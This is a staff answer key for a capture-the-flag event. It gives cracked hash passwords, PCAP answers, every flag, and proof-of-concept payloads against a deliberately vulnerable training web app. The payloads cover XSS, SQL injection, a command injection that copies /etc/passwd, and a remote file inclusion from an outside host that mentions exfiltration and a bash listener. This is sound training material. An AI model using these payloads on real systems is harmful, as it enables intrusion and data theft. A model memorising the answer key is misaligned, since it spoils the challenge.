# **Challenge Answers – Helper Eyes Only**

# Networking

Each challenge has its own SSID that will need to be connected to in order access that challenge.

* CyberChallenge-Easy
* CyberChallenge-Medium
* CyberChallenge-Hard

The scoring server will be accessible from any SSID so you can keep track of your score and turn in flags at any time.

* score.cyberchallenge.local

There is only one server for the Easy and Hard challenges.

However, each team will have their own Medium challenge server. Your team number will determine which Medium server you connect to.

* files.cyberchallenge.local
* hard.cyberchallenge.local
* team##.medium.cyberchallenge.local

# Scoring Server Overview

The scoring server is a service that will be available to all teams so they can enter their captured flags to increase their score and be able to collaborate with team members. The dashboard will show the current status of all teams of flags captured and points scored.

# Scoring

The scoring server will track points by distributing money based on captured flags. Flags are weighted differently based on the difficulty and server.

The team with the most money (points) at the end of the challenge will win, and there will be different prizes for the top teams.

When a flag is captured or provided, teams will log into the scoring server and enter the flag into the interface. The server will automatically check the flag and distribute the reward if correct.

# **Easy Challenge**

# Access

Join the wifi SSID **CyberChallenge-Easy**. The files for the first Easy challenge can then be found at **files.cyberchallenge.local**

You will be presented with a basic web page with the required files. You can download them however you wish, via web browser or command line with wget or curl.

# Cracking Overview

* Teams have to use a password cracking program. John the Ripper or Hashcat are recommended.
* They download the file or save the hash locally and try to crack it.
* They might have to use special configurations to limit the length and such.
* They will need to research the program their using via manual pages or online.

|  |  |
| --- | --- |
| Easy Crack 1: Easy1.txt – MD5  5 characters, alphabetic, all lowercase | Easy Flag 1: John the Ripper/Hashcat  money |
| Easy Crack 2: Easy2.txt – SHA1  6 characters, numeric | Easy Flag 2: John the Ripper/Hashcat  123456 |
| Easy Crack 3: Easy3.txt – Windows LM  13 characters, alphanumeric | Easy Flag 3: Johnny  NOTSECURE1BIT |

* Teams have to download the file.
* They can use fcrackzip program.
* May take some time.

|  |  |
| --- | --- |
| Easy Crack 4: protected.zip  8 characters, alphabetic, all lowercase | Easy Flag 4: fcrackzip/rockyou wordlist  openmeup |

# Packet Inspection Overview

* Teams will download the PCAP file.
* They can use wireshark to review the data.
* They can use the Follow TCP or UDP stream options by right clicking.
* If they have another email for the accomplice, tell them to keep looking. There’s another email.
* If they get a random string for the password, they have to decode the base64.
* The filename is in the payload of one of the packets. Can be found by using Follow stream option.

|  |  |
| --- | --- |
| Easy PCAP 1: What is the intruder’s email address? | Easy Flag 5: throwaway7@aol.com |
| Easy PCAP 2: What is the intruder’s password? | Easy Flag 6: nosecurity01 |
| Easy PCAP 3: What is the accomplices email address? | Easy Flag 7: crlsswhisper1@aol.com |
| Easy PCAP 4: What is the name of the file the intruder sent to their accomplice? | Easy Flag 8: secretlocation01.docx |

# **Medium Challenge**

# Access

Join wifi SSID **CyberChallenge-Medium**

Then access your team server at **team##.medium.cyberchallenge.local** with browser.

# Overview

Welcome to the Medium challenge! For this challenge you will be working through a vulnerable web app: *SwiftImage*. *SwiftImage* is programmed to have vulnerabilities that are representative of vulnerabilities found in the wild and reported in *OWASPs Top 10*.

\*\* There are additional vulnerabilities not indexed by our guide, if you find and exploit these vulnerabilities tell a member of the Terra Verde team.

# Scoring

Follow the instructions for each exploit that is to be run against the web app. When you successfully exploit the vulnerability, call over a challenge helper from Terra Verde and we will review the results. If they are determined to be successful, you will be provided with the flag that can be entered into the scoring server.

Publicly Accessible Vulnerabilities

These vulnerabilities be exploited without logging in.

|  |
| --- |
| **Title:** **Cross-site Scripting (XSS) -- Reflected**  **Goal:** Using JavaScript, have a string reflect to the user displaying an alert message or popup.  Description: This vulnerability is located on the HOME page. Certain parameters are not sanitized before being echoed to the user.  **POC:** In the search field input **<script>alert('your text here')</script> .** This produces an alert back to the user, other portions of this page that request user input are vulnerable to the same thing. This works because the query parameter is echoed back to the user without being sanitized.  wift Image . com  Home Upload  Recent Guestbook  Pictures that are tagged as '  hel  Flag 1: FZ0F2fSF |
| **Title:** **Parameter Tampering**  **Goal:** Without a valid user account, find **4** users already registered with *SwiftImage.*  Description: This vulnerability is located on the SAMPLE USER page. How does this webpage process the request to view the sample user? Can we manipulate this parameter to view the other users?  **POC:** The URL uses the "userid" GET parameter to view the sample user. **The sample user has an id of 1 and this variable can be manipulated to display other users. Additional userids: 2, 9, 10, 11.** This works because an access control check is not in place to ensure the user is authorized for the request.  Swiftlmage.com  G) php7Llserirl=11  ' Search 3"Parrot . Frozenbox Forum FrozenChat  Flag 2: cYuE6LJ4 |
| **Title:** **Cross-site Scripting (XSS) -- Stored**  **Goal:** Have a stored JavaScript string reflect to every user that visits the website.  Description: This vulnerability is located on the GUESTBOOK page. All content on this page is stored in the database. One of the fields is not properly escaped causing for malicious code, or not, to be executed on each visit.  **POC:** The comment section of the guest book is what is vulnerable, to exploit this use JS or HTML to exploit the vulnerability. **<marquee behavior="alternate" scrollamount="20">your text here</marquee>** This works because the *comment* field is not properly escaped.  uestbook  See what people are saying about us!  hello world  - by pepe  Flag 3: VYap1HMK |

|  |
| --- |
| **Title:** **SQL Injection (SQLi)**  **Goal:** Log in as an already registered user.  Description: On the GUESTBOOK page there is a registered user that has made a comment about the site. Craft a SQL query for input on the LOGIN page and get access to that users account.  **POC:** **append '# to the end of bob while logging in, this will escape the password check query in the SQL database** This works because user input is not escaped.  ogin  username :  30b'  bob' #  Register  Home Admin Contact I TE  ello bob, you got 86 Tradebuxs to spend!  Cool stuff to do:  Who's got a  Flag 4: mKtshJGt |
| This cell intentionally left blank. |
| **Title:** **Command Injection**  **Goal:** Escape the command being executed to check your password and put the contents of an interesting file, that you should NOT have access to, in the /uploads directory.  Description: On the HOME page follow the link to “create an account”, from there, check the strength of your password. Can we escape the grep command being executed and execute our own commands?  **POC:** This WILL NOT reflect to the user, in order to see that it is working they will need to redirect the STDOUT to a file. The wwwdata user (that they are) has full privileges in /upload the following is the correct syntax for this vulnerability to work: **; cat /etc/passwd > /var/www/html/upload/passwd.txt #** This works because the *password* parameter of the form used to request the check is used without sanitization in the shell command.    heck your password strength  Password to check:  Check!  File  Edit    Swiftlmage.com  xo /upoa  G) 10.1.4.15;npLoaN;  "Search Parrot . Frozenbox . ' For -;'Search 'Oparrot Frozenbox Forum FrozenChat  root root : / root : /bin/bash  daemon : x : 1 : 1    earcn  Check your password strength  The command "grep ; cat letc"passwd > 'Varywwv    Flag 5: XrqAwEXB |
| **Title: Remote File Inclusion**  **Goal:** Load content from a site that you (the hacker) maintain.  Description: On the bottom of every page there is a link to the ADMIN page, following this link will bring you to the next vulnerability. Look at how the request is made for this page it will aid you in loading your content from your site.  **POC:** For **US** we have a virtual website running on the same box its URL is: [**http://ipwnu.com/dir**](http://ipwnu.com/dir)**.** Append this to the end of the SWIFTIMAGE URL so it looks like this: [**http://vulnwebsite/admin/index.php?page=http://ipwnu.com/dir**](http://vulnwebsite/admin/index.php?page=http://ipwnu.com/dir)you should see that our scripts have loaded. This works because the admin interface is accessed through a main page called index.php. The index page acts as a portal thus any value passed to the *page* parameter will be concatenated with the string ".php" and the resulting PHP script will be run. Looking at the URL for the admin login page */admin/index.php?page=login* on the server *index.php* will execute *login.php* displaying the form.  Examples scripts Include:   * **Basic Scripts** – List Directories, Check current User, Read files that otherwise wouldn’t be displayable in apache. (Config files) * **Moderate Scripts** – Download scripts from other servers directly to this server for a later use or advanced exfil of data. * **Advanced Scripts** – Setting up a netcat listener bound to /bin/bash allowing you full control / access to all that the apache user has access to as if you were connected via ssh.   ttp://10.1...nu.com/dir x S Index of 'upload  G) 10.1.4.15;arlrrLAönrlex php7paqe=http::•:•ip•.'.iALl co  mug erm.na  username :  x Index of 'upload  Index of 'upload  ugTermin  S Index  G) php  Search Parrot  Welcome www-data!  enbo  www-data@ASlNed  Flag 6: Zv3SjWA0 |

# Privately Accessible Vulnerabilities

These vulnerabilities be exploited after logging into the web application.

|  |
| --- |
| **Title:** **Logic Flaw**  **Goal:** Purchase a photo without using any Tradebux.  Description: There is a photo that you’ve really wanted to purchase and *SwiftImage* has just sent you a coupon. Using the code **SUPERYOU21** can you get that image?  **POC:** The coupon code can just be added multiple times. ALL that is necessary on this is that they can show the logical flaw. A coupon is usually good for only one use at maximum two. Not 9,000!  elcome to your cart bob  Plc name  Beautiful Waterfall  SUPERYOU21  SUPERYOU21  SUPERYO      lc nam  Beautiful Waterfall  High Quality Link  http•]/10.1 4.15/picture9highqua  Flag 7: rRLGdYSA |
| **Title: Cross-site Scripting (XSS) -- Reflected**  **Goal:** Using JavaScript, have a string reflect to the user displaying an alert message or popup.  Description: This vulnerability is located on the user’s HOME page. Certain parameters are not sanitized before being echoed to the user.  **POC:** This is the same vulnerability as the first reflected XSS the only different is that this is behind the flash form **<script>alert('your text here')</script>** this works because the "value" parameter is echoed back to the user without being sanitized.    ome  Your favorite color is  Upload  Recent  Guestbook  Cart  Search  he  Flag 8: 1I0fpkpE |

# **Hard Challenge**

# Access

Join the hard wifi SSID: **CyberChallenge-Hard**

Then access server at **hard.cyberchallenge.local**

# Overview

This is NOT a boot2root challenge; gather the flags and move on.

Explore every avenue as no hints will be given.

Don't forget to submit your flags to the scoring engine.

Have fun and happy hacking!

# Goal

Capture the 5 flags on this box.

They are in the following format: flag{}

The flag itself is the string within the brackets.

Some flags are located in a file named flag.txt

|  |
| --- |
| Hard Flag 1:j0hN\_c4u6H7\_w17H\_h15\_P4nt$\_d0wN |
| Hard Flag 2:br41n\_4n3ury5m |
| Hard Flag 3:w3R3\_4LL\_7H3$3\_l4y3R$\_N3ce$$4ry?? |
| Hard Flag 4:f4ll1n6\_l1k3\_4\_574cK\_0f\_c4rd$ |
| Hard Flag 5:73N\_bY73$\_w4$\_n3V3r\_3N0u6H\_f0r\_M3! |